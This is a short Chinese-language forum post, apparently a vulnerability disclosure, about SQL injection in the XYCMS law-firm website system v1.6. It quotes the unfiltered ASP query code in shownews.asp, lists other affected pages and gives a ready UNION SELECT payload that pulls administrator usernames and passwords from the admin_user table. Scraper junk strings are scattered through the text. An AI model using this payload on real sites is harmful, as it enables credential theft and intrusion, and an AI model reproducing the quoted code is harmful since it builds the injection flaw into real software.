XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

淫荡分割线
--------------------------------------------------------
2 l) J' ]& h: ]7 i0 A
审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm
$ E4 m! o: `/ k/ z, h
8 {2 ?2 Q* m, u6 P# z漏洞文件:shownews.asp
漏洞代码：7-13行


<%
id=request.QueryString("id")
   
! t6 E; |3 |" g2 _$ X; eset snews=server.createobject("adodb.recordset")
+ I$ c: t; ^: N/ Wexec="select * from [news] where id="&id
snews.open exec,conn,1,1
%>

! x  C9 N/ q; P7 p) C
什么过滤都没有  直造成注入
- C& g7 n+ ^' p3 ~* s
注入点:http://127.0.0.1:99/shownews.asp?id=xx
# V; t( ^/ x* j: Q) z. x8 C
1 |; _9 }- J3 K( S其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找

$ q! r$ _. e4 D+ b; [4 P
7 h0 s. }/ h) t: t% N! _$ R$ sexp: union select 1,admin,password,4,5,7 from admin_user
​
6 J- @# s' f9 R1 `! ?3 p